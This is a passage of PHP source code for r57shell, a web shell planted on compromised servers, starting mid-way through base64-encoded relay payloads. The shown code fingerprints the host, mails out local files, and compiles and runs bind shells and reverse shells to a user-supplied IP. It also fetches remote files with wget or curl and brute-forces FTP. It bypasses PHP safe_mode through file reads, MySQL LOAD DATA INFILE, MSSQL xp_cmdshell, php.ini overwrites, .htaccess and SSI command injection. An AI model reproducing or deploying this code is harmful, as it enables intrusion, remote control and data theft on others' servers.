HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==";
$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
if($unix)
 {
 if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
 if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
 if($safe_mode) { $sysctl = '-'; }
 else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
 else  
  {	
   $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
   if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
   if(empty($sysctl)) { $sysctl = '-'; }
   setcookie('sysctl',$sysctl);
  }  
 }
echo $head;
echo '</head>'; 
echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(2).'<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2>';
echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
if($unix) 
 { 
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; 
 }
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
echo ws(2)."safe_mode: <b>";
echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
echo "</b>".ws(2);
echo "PHP version: <b>".@phpversion()."</b>";
$curl_on = @function_exists('curl_version');
echo ws(2);
echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
echo "</b>".ws(2);
echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
echo "</b>".ws(2);
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b>".ws(2);
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
echo "</b><br>".ws(2);
echo "Disable functions : <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
echo '</font></td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td align=right width=100>';
echo $font;
if($unix){
echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=red><b>";
echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
echo ws(3).$sysctl."<br>";
echo ws(3).ex('echo $OSTYPE')."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
if(!empty($id)) { echo ws(3).$id."<br>"; }
else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
 {
 $euserinfo  = @posix_getpwuid(@posix_geteuid());
 $egroupinfo = @posix_getgrgid(@posix_getegid());
 echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';	
 }
else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
echo ws(3).$dir;
echo ws(3).'( '.perms(@fileperms($dir)).' )';
echo "</b></font>";
}
else
{
echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=Verdana size=-2 color=red><b>";
echo ws(3).@substr(@php_uname(),0,120)."<br>";
echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
echo ws(3).@getenv("USERNAME")."<br>";
echo ws(3).$dir;
echo "<br></font>";
}
echo "</font>";
echo "</td></tr></table>";
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
 {
 $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");	
 err(6+$res);
 $_POST['cmd']="";  
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
 {  
 if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
 else 
  {	
    $filename = @basename($_POST['loc_file']);
    $filedump = @fread($file,@filesize($_POST['loc_file']));
    fclose($file);
    $content_encoding=$mime_type='';
    compress($filename,$filedump,$_POST['compress']);
    $attach = array(
                    "name"=>$filename,
                    "type"=>$mime_type,
                    "content"=>$filedump
                   );
    if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
    if(empty($_POST['from'])) { $_POST['from'] = '[email protected]'; }
    $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
    err(6+$res);
    $_POST['cmd']="";                   	
  }
 }
if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
{
$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
 {
 switch($_POST['what'])
   {
   case 'own':
   @chown($_POST['param1'],$_POST['param2']);
   break;
   case 'grp':
   @chgrp($_POST['param1'],$_POST['param2']);
   break;
   case 'mod':
   @chmod($_POST['param1'],intval($_POST['param2'], 8));
   break;
   }
 $_POST['cmd']="";
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
 {
   switch($_POST['what'])
   {
     case 'file':
      if($_POST['action'] == "create")
       {
       if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
       else {
        fclose($file);
        $_POST['e_name'] = $_POST['mk_name'];
        $_POST['cmd']="edit_file";
        echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
        }
       }
       else if($_POST['action'] == "delete")
       {
       if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
       $_POST['cmd']="";
       }
     break;
     case 'dir':
      if($_POST['action'] == "create"){
      if(mkdir($_POST['mk_name']))
       {
         $_POST['cmd']="";
         echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
       }
      else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
      }
      else if($_POST['action'] == "delete"){
      if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
      $_POST['cmd']="";
      }
     break;
   }
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
 {
 if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
 if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
 else {
 echo $table_up3;
 echo $font;
 echo "<form name=save_file method=post>";
 echo ws(3)."<b>".$_POST['e_name']."</b>";
 echo "<div align=center><textarea name=e_text cols=121 rows=24>";
 echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
 fclose($file);
 echo "</textarea>";
 echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
 echo "<input type=hidden name=dir value=".$dir.">";
 echo "<input type=hidden name=cmd value=save_file>";
 echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
 echo "</div>";
 echo "</font>";
 echo "</form>";
 echo "</td></tr></table>";
 exit();
 }
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
 {
 $mtime = @filemtime($_POST['e_name']);
 if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
 else {
 if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
 @fwrite($file,$_POST['e_text']);
 @touch($_POST['e_name'],$mtime,$mtime);
 $_POST['cmd']="";
 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
 }
 }
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
{
 cf("/tmp/bd.c",$port_bind_bd_c);
 $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
 @unlink("/tmp/bd.c");
 $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
 $_POST['cmd']="ps -aux | grep bd";
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
{
 cf("/tmp/bdpl",$port_bind_bd_pl);
 $p2=which("perl");
 $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
 $_POST['cmd']="ps -aux | grep bdpl";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
{
 cf("/tmp/back",$back_connect);
 $p2=which("perl");
 $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
{
 cf("/tmp/back.c",$back_connect_c);
 $blah = ex("gcc -o /tmp/backc /tmp/back.c");
 @unlink("/tmp/back.c");
 $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
{
 cf("/tmp/dp",$datapipe_pl);
 $p2=which("perl");
 $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
 $_POST['cmd']="ps -aux | grep dp";
}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
{
 cf("/tmp/dpc.c",$datapipe_c);
 $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
 @unlink("/tmp/dpc.c");
 $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
 $_POST['cmd']="ps -aux | grep dpc";
}
if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
if (!empty($HTTP_POST_FILES['userfile']['name']))
{
if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
@copy($HTTP_POST_FILES['userfile']['tmp_name'],
            $_POST['dir']."/".$nfn)
      or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
}
if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
{
 switch($_POST['with'])
 {
 case wget:
 $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
 break;
 case fetch:
 $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
 break;
 case lynx:
 $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case links:
 $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case GET:
 $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
 break;
 case curl:
 $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
 break;
 }
}
if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
 {
 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
 if(empty($ftp_port)) { $ftp_port = 21; }
 $connection = @ftp_connect ($ftp_server,$ftp_port,10);	
 if(!$connection) { err(3); }
 else 
  {   	
  if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
  else 
   {	
   if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);	}
   if($_POST['cmd']=="ftp_file_up")   { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);	}
   }
  }
 @ftp_close($connection);
 $_POST['cmd'] = "";
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
 {
 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
 if(empty($ftp_port)) { $ftp_port = 21; }
 $connection = @ftp_connect ($ftp_server,$ftp_port,10);	
 if(!$connection) { err(3); $_POST['cmd'] = ""; }	
 else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
 @ftp_close($connection);
 }
echo $table_up3;
if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
echo $font.$lang[$language.'_text1'].": <b><a style='cursor: pointer;' id='runned_cmd' onclick='document.forms[0].cmd.value=this.innerHTML;'>".@htmlspecialchars($_POST['cmd'])."</a></b></font></td></tr><tr><td><b><div align=center><textarea id=report name=report cols=121 rows=23>";
if($safe_mode)
{
 switch($_POST['cmd'])
 {
 case 'safe_dir':
  $d=@dir($dir);
  if ($d)
   {
   while (false!==($file=$d->read()))
    {
     if ($file=="." || $file=="..") continue;
     @clearstatcache();
     list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
     if(!$unix){ 
     echo date("d.m.Y H:i",$mtime);
     if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
     }
     else{ 
     $owner = @posix_getpwuid($uid);
     $grgid = @posix_getgrgid($gid);
     echo $inode." ";
     echo perms(@fileperms($file));
     printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
     echo date("d.m.Y H:i ",$mtime);
     }
     echo "$file\n";
    }
   $d->close();
   }
  else echo $lang[$language.'_text29'];
 break;
  case 'test1':
  $ci = @curl_init("file://".$_POST['test1_file']."");
  $cf = @curl_exec($ci);
  echo $cf;
  break;
  case 'test2':
  @include($_POST['test2_file']);
  break;
  case 'test3':
  if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  if($db)
   {
   if(@mysql_select_db($_POST['test3_md'],$db))
    {
     @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
     @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
     @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
     $r = @mysql_query("SELECT * FROM temp_r57_table");
     while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
     @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
    }
    else echo "[-] ERROR! ".$sql->error;
   @mysql_close($db);
   }
  else echo "[-] ERROR! ".$sql->error;
  break;
  case 'test4':
  if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  if($db)
   {
   if(@mssql_select_db($_POST['test4_md'],$db))
    {
     @mssql_query("drop table r57_temp_table",$db);
     @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
     @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
     $res = mssql_query("select * from r57_temp_table",$db);
     while(($row=@mssql_fetch_row($res)))
      {
      echo $row[0]."\r\n";
      }	
    @mssql_query("drop table r57_temp_table",$db);
    }
    else echo "[-] ERROR! ".$sql->error;
   @mssql_close($db);
   }
  else echo "[-] ERROR! ".$sql->error;
  break;
  case 'test5':
  if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
  $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
  @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
  $lines = file ('/tmp/mb_send_mail');
  foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
  break;
  case 'test6':
  $stream = @imap_open('/etc/passwd', "", "");	
  $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
  for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
  @imap_close($stream);	
  break;
  case 'test7':
  $stream = @imap_open($_POST['test7_file'], "", "");
  $str = @imap_body($stream, 1);
  echo $str;
  @imap_close($stream);	
  break;
  case 'test8':
  if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];
  else echo $lang[$language.'_text119'];
  break;
  case 'test9':
  $cur_dir = dirname(__FILE__);
  if(!file_exists("$cur_dir/php_ini_backup") && @rename("$cur_dir/php.ini","$cur_dir/php_ini_backup")) echo $lang[$language.'_text121'];
  if($file=@fopen("$cur_dir/php.ini","w"))
   {
   @fwrite($file,"safe_mode = Off\nsafe_mode_gid = Off\nsafe_mode_include_dir =\nsafe_mode_exec_dir =\nopen_basedir =\ndisable_functions =\ndisable_classes =\nfile_uploads = On\nallow_url_fopen = On\n"); 
   @fclose($file);
   }
  break;
  case 'test10':
  @error_log($_POST['test10_content'], 3,"php://../../".$_POST['test10_file']);
  break;
  case 'test11':
  if(file_exists("./result.txt") && file_exists("./.htaccess"))
   {
   @unlink("./.htaccess");
   @unlink("./result.txt");
   }
   if ($handle = @fopen("./.htaccess", 'w')) { @fwrite($handle, "php_value mail.force_extra_parameters '-t && ".$_POST['test11_cmd']." > ".dirname($_SERVER["SCRIPT_FILENAME"])."/result.txt'"); mail("", "", ""); }
   //while(!file_exists(dirname($_SERVER["SCRIPT_FILENAME"])."/result.txt")) sleep(1);
   if($lines) foreach ($lines as $line) { echo htmlspecialchars($line); }
  break;
  case 'test12':
  if ($handle = @fopen("./.htaccess", 'w')) { @fwrite($handle, "AddType text/html .shtml\r\nAddHandler server-parsed .shtml\r\nOptions +Includes"); }
  if ($handle = @fopen("./cmdssi.shtml", 'w')) { @fwrite($handle, '<!--#exec cmd="'.$_POST['test12_cmd'].'"-->'); }
  // url_fopen    ...    
  @include("http://".$_SERVER['HTTP_HOST'].rtrim(dirname($_SERVER['PHP_SELF']),'/\\')."/cmdssi.shtml");
  break;
  case 'test13':
  $tmp = '';
  if(@is_writable($_ENV['TMP'])) $tmp=$_ENV['TMP'];
  elseif(@is_writeable(ini_get('session.save_path'))) $tmp=ini_get('session.save_path');
  elseif(@is_writeable(ini_get('upload_tmp_dir'))) $tmp=ini_get('upload_tmp_dir');
  elseif(@is_writeable(dirname(__FILE__))) $tmp=dirname(__FILE__);
  else break;
  @unlink($tmp.'/result_test13.txt');
  $wscript = new COM('wscript.shell');
  $wscript->Run('cmd.exe /c "'.$_POST['test13_cmd'].'" > '.$tmp.'/result_test13.txt');
  while(!file_exists($tmp.'/result_test13.txt')) sleep(1);
  $lines = @file ($tmp.'/result_test13.txt');
  if($lines) foreach ($lines as $line) { echo htmlspecialchars($line); }
  @unlink($tmp.'/result_test13.txt');
  break;
  case 'test14':
  $ioncube = @ioncube_read_file($_POST['test14_cmd']);
  echo htmlspecialchars($ioncube);
  break;
  case 'test15':
  $tmp = '';
